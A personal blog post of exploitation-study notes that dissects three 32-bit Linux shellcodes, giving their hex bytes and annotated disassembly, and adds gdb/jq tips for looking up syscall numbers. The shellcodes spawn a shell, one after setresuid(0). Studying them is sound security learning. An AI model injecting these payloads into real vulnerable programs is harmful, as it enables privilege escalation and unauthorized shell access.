Shellcode on the stack and syscalls

2022-10-14 By qld

Early morning challenge. Not that complex since I didn't even use an env variable for my shellcode because we're not in Kansas any more, Dorothy.

Open questions (given ASLR and known offsets):

Why do I need to put my shellcode address three times ?

I thought a ret would do two things: * pop a stack frame pointer from the stack (get $esp) * pop the code address from the stack (get $eip)

What's the extra 4 bytes ? A stack cookie ? But checksec says no stack canary found.

TODO: figure this out :D

What's the difference between shellcodes ?

So far, I've got three shellcodes, and the one from shellcraft.i386.linux.sh doesn't work. I've been told it's because it might not xor its registers. Lets check that out ?

root-me's example

Here with /tmp/iL bc /bin/sh needs -p.

  • eb1f5e89760831c088460789460cb00b89f38d4e088d560ccd8031db89d840cd80e8dcffffff2f746d702f694c

hexdump:

00000000  eb 1f 5e 89  76 08 31 c0  88 46 07 89  46 0c b0 0b  │··^·│v·1·│·F··│F···│
00000010  89 f3 8d 4e  08 8d 56 0c  cd 80 31 db  89 d8 40 cd  │···N│··V·│··1·│··@·│
00000020  80 e8 dc ff  ff ff 2f 74  6d 70 2f 69  4c           │····│··/tmp/iL
0000002d

>>> print(disasm(a))

   0:   eb 1f           jmp    0x21                       ; go dow to 0x21 
   2:   5e              pop    esi                        ; benefit from the previous call
                                                          ; to get the 'call' address
                                                          ; store that in esi (call pushes eip
                                                          ; on the stack
                                                          ;
   3:   89 76 08        mov    DWORD PTR [esi+0x8], esi   ; esi + 8 = esi
   6:   31 c0           xor    eax, eax                   ; eax = 0
   8:   88 46 07        mov    BYTE PTR [esi+0x7], al     ; esi + 7 = 0
   b:   89 46 0c        mov    DWORD PTR [esi+0xc], eax   ; esi + 12 = 0
   e:   b0 0b           mov    al, 0xb                    ; eax = 11
  10:   89 f3           mov    ebx, esi                   ; ebx = esi ( /bin/sh )
  12:   8d 4e 08        lea    ecx, [esi+0x8]             ; ecx = esi+8  = 0
  15:   8d 56 0c        lea    edx, [esi+0xc]             ; edx = esi+12 = 0
  18:   cd 80           int    0x80                       ; syscall 11 = execve
  1a:   31 db           xor    ebx, ebx   ; ebx = 0
  1c:   89 d8           mov    eax, ebx   ; eax = 0
  1e:   40              inc    eax        ; eax = 1
  1f:   cd 80           int    0x80       ; syscall 1 = exit(0)
  21:   e8 dc ff ff ff  call   0x2          ; go back to 0x2, benefit from the
                                            ; call side effects when it comes
                                            ; to stack management
  26:   2f              das           ; that's just our data /bin/iL or /bin/sh
  27:   74 6d           je     0x96   ; >>> bytes.fromhex('2f746d702f694c')
  29:   70 2f           jo     0x5a   ; b'/tmp/iL'
  2b:   69              .byte 0x69
  2c:   4c              dec    esp

Does:

  • execve(/bin/sh)
  • exit(0)

Jon Erickson's example

  • 31c031db31c999b0a4cd806a0b5851682f2f7368682f62696e89e35189e25389e1cd80

hexdump :

>>> b = bytes.fromhex('31c031db31c999b0a4cd806a0b5851682f2f7368682f62696e89e35189e25389e1cd80')
>>> print(hexdump(b))
00000000  31 c0 31 db  31 c9 99 b0  a4 cd 80 6a  0b 58 51 68  │1·1·│1···│···j│·XQh│
00000010  2f 2f 73 68  68 2f 62 69  6e 89 e3 51  89 e2 53 89  │//sh│h/bi│n··Q│··S·│
00000020  e1 cd 80                                            │···│
00000023
>>> print(disasm(b))

disassembly :

   0:   31 c0                   xor    eax, eax ; wipe registers
   2:   31 db                   xor    ebx, ebx
   4:   31 c9                   xor    ecx, ecx
   6:   99                      cdq             ; wipe edx in a single byte
   7:   b0 a4                   mov    al, 0xa4
   9:   cd 80                   int    0x80       ; syscall 164
; /usr/include/x86_64-linux-gnu/asm/unistd_32.h:#define __NR_setresuid 164
; /usr/include/asm-generic/unistd.h:#define __NR_setrlimit 164
; what ? I'd say this is setresuid
   b:   6a 0b                   push   0xb
   d:   58                      pop    eax        ; set syscall to be 0xb = 11
   e:   51                      push   ecx
   f:   68 2f 2f 73 68          push   0x68732f2f ; hs// //sh
  14:   68 2f 62 69 6e          push   0x6e69622f ; nib/ /bin
  19:   89 e3                   mov    ebx, esp   ; put parameters on the stack 
  1b:   51                      push   ecx
  1c:   89 e2                   mov    edx, esp
  1e:   53                      push   ebx
  1f:   89 e1                   mov    ecx, esp
  21:   cd 80                   int    0x80       ; syscall 11
; execve, confirms the setresuid hypothesis above.
; /usr/include/x86_64-linux-gnu/asm/unistd_32.h:#define __NR_execve 11
; /usr/include/asm-generic/unistd.h:#define __NR_listxattr 11

Does: - setresuid(0) - execve(/bin/sh)

shellcraft.i386.linux.sh

>>> print(shellcraft.i386.linux.sh())
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101                    // avoid having null bytes by writigin sh\x01\x01
xor dword ptr [esp], 0x1016972    // then xor with \x01\x01 6972=ir 6873=hs
xor ecx, ecx                       
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80

Conclusion of the shellcode differences

So it seems this one just execve(/bin/sh). But the main difference is that this one pushes stuff straight on the stack. So if your stack = your shellcode, things get messy pretty quickly, since the first push operations are altering the very shellcode itself.

Jon Erickson's one as well does this, but maybe the setresuid() code leaves enough room for these few bytes.

root-me's example (from shellcode.org/shellcode/linux/null-free/ ) is better because it doesn't really use the stack that much, instead it relies on the shellcode trailer, which means its command line can be tuned without length problems. That being said, it shouldn't be more robust to having esp=shellcode since call would overwrite the first 4 bytes of the shellcode, altering the called pop esi at 0x2.

On monday, we'll most likely be toying around with %n or something.

2022-10-17 notes from after writing this

shellcode further reading

Reading Jon Erickson's chapter on shellcode, looks like all of this is covered. * the jump/call trick to get a relative string payload address * the reason behind setresuid being used to restore privileges if they got dropped (not our case) * the cdq (99) shorter than xor edx,edx (31 D2) * the push byte;pop eax trick uses 3 bytes and not 4 to load a 4-bytes register

syscall protip

gdb comes with nice little XML describing the syscalls.

converting the xml to json so that jq can use input_filename, otherwise the xq packaged in the yq pip package passes content to jq's stdin and it's not fancy:

root@debian:/usr/share/gdb/syscalls# for i in *xml ; do xq . "${i}" > "${i/xml/json}" ; done

number to name:

$ jq '.syscalls_info.syscall[]|select(."@number"=="11")|[input_filename,."@name"]|join("\t")' /usr/share/gdb/syscalls/*json -r | column -s$'\t' -t
/usr/share/gdb/syscalls/aarch64-linux.json  listxattr
/usr/share/gdb/syscalls/amd64-linux.json    munmap
/usr/share/gdb/syscalls/arm-linux.json      execve
/usr/share/gdb/syscalls/freebsd.json        execv
/usr/share/gdb/syscalls/i386-linux.json     execve
/usr/share/gdb/syscalls/netbsd.json         execv
/usr/share/gdb/syscalls/ppc64-linux.json    execve
/usr/share/gdb/syscalls/ppc-linux.json      execve
/usr/share/gdb/syscalls/s390-linux.json     execve
/usr/share/gdb/syscalls/s390x-linux.json    execve
/usr/share/gdb/syscalls/sparc64-linux.json  execv

name to number:

$ jq '.syscalls_info.syscall[]|select(."@name"=="read")|[input_filename,."@number"]|join("\t")' /usr/share/gdb/syscalls/*json -r | column -s$'\t' -t
/usr/share/gdb/syscalls/aarch64-linux.json   63
/usr/share/gdb/syscalls/amd64-linux.json     0
/usr/share/gdb/syscalls/arm-linux.json       3
/usr/share/gdb/syscalls/freebsd.json         3
/usr/share/gdb/syscalls/i386-linux.json      3
/usr/share/gdb/syscalls/mips-n32-linux.json  6000
/usr/share/gdb/syscalls/mips-n64-linux.json  5000
/usr/share/gdb/syscalls/mips-o32-linux.json  4003
/usr/share/gdb/syscalls/netbsd.json          3
/usr/share/gdb/syscalls/ppc64-linux.json     3
/usr/share/gdb/syscalls/ppc-linux.json       3
/usr/share/gdb/syscalls/s390-linux.json      3
/usr/share/gdb/syscalls/s390x-linux.json     3
/usr/share/gdb/syscalls/sparc64-linux.json   3
/usr/share/gdb/syscalls/sparc-linux.json     3